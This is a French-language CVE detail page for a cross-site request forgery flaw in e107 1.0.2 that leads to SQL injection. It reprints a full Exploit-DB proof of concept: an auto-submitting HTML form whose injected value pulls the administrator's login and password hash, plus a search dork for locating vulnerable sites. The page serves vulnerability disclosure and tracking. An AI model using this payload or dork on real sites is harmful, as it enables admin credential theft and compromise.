CVE-2012-6434 : Détail

CVE-2012-6434

Cross-Site Request Forgery - CSRF
A01-Broken Access Control
0.13%V3
Network
2013-01-03
11h00 +00:00
2024-09-16
16h28 +00:00
CVE.org
NVD
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Descriptions du CVE

Multiple cross-site request forgery (CSRF) vulnerabilities in e107_admin/download.php in e107 1.0.2 allow remote attackers to hijack the authentication of administrators for requests that conduct SQL injection attacks via the (1) download_url, (2) download_url_extended, (3) download_author_email, (4) download_author_website, (5) download_image, (6) download_thumb, (7) download_visible, or (8) download_class parameter.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 23829

Date de publication : 2013-01-01 23h00 +00:00
Auteur : Joshua Reynolds
EDB Vérifié : Yes

# Exploit Title: e107 v1.0.2 Administrator CSRF Resulting in SQL Injection # Google Dork: intext:"This site is powered by e107" # Date: 01/01/13 # Exploit Author: Joshua Reynolds # Vendor Homepage: http://e107.org # Software Link: http://sourceforge.net/projects/e107/files/e107/e107%20v1.0.2/e107_1.0.2_full.tar.gz/download # Version: 1.0.2 # Tested on: BT5R1 - Ubuntu 10.04.2 LTS # CVE: CVE-2012-6434 ----------------------------------------------------------------------------------------- Description: Cross-Site Request Forgery vulnerability in the e107_admin/download.php page, which is also vulnerable to SQL injection in the POST form. The e-token or ac tokens are not used in this page, which results in the CSRF vulnerability. This in itself is not a major security vulnerability but when done in conjunction with a SQL injection attack it can result in complete information disclosure. The parameters which are vulnerable to SQL injection on this page include: download_url, download_url_extended, download_author_email, download_author_website, download_image, download_thumb, download_visible, download_class. The following is an exploit containing javascript code that submits a POST request on behalf of the administrator once the page is visited. It contains a SQL injection that would provide the username and password (in MD5) of the administrator to be added to the Author Name of a publicly available download. ------------------------------------------------------------------------------------------ Exploit: <html> <body onload="document.formCSRF.submit();"> <form method="POST" name="formCSRF" action="http://[site]/e107/e107102/e107_admin/download.php?create"> <input type="hidden" name="cat_id" value="1"/> <input type="hidden" name="download_category" value="2"/> <input type="hidden" name="download_name" value="adminpassdownload"/> <input type="hidden" name="download_url" value="test.txt', (select concat(user_loginname,'::',user_password) from e107_user where user_id = '1'), '', '', '', '', '0', '2', '2', '1352526286', '', '', '2', '0', '', '0', '0' ) -- -"/> <input type="hidden" name="download_url_external" value=""/> <input type="hidden" name="download_filesize_external" value=""/> <input type="hidden" name="download_filesize_unit" value="KB"/> <input type="hidden" name="download_author" value=""/> <input type="hidden" name="download_author_email" value=""/> <input type="hidden" name="download_author_website" value=""/> <input type="hidden" name="download_description" value=""/> <input type="hidden" name="download_image" value=""/> <input type="hidden" name="download_thumb" value=""/> <input type="hidden" name="download_datestamp" value=""/> <input type="hidden" name="download_active" value="1"/> <input type="hidden" name="download_datestamp" value="10%2F11%2f2012+02%3A47%3A47%3A28"/> <input type="hidden" name="download_comment" value="1"/> <input type="hidden" name="download_visible" value="0"/> <input type="hidden" name="download_class" value="0"/> <input type="hidden" name="submit_download" value="Submit+Download"/> </form> </body> </html> ------------------------------------------------------------------------------------------ Fix: This bug has been fixed in the following revision: r13058 ------------------------------------------------------------------------------------------ Shout outs: Red Hat Security Team, Ms. Umer, Dr. Wu, Tim Williams, friends, & family. Contact: Mail: infosec4breakfast@gmail.com Blog: infosec4breakfast.com Twitter: @jershmagersh Youtube: youtube.com/user/infosec4breakfast

Products Mentioned

Configuraton 0

E107>>E107 >> Version 1.0.2

Références

http://www.exploit-db.com/exploits/23829/
Tags : exploit, x_refsource_EXPLOIT-DB
http://e107.org/changelog
Tags : x_refsource_CONFIRM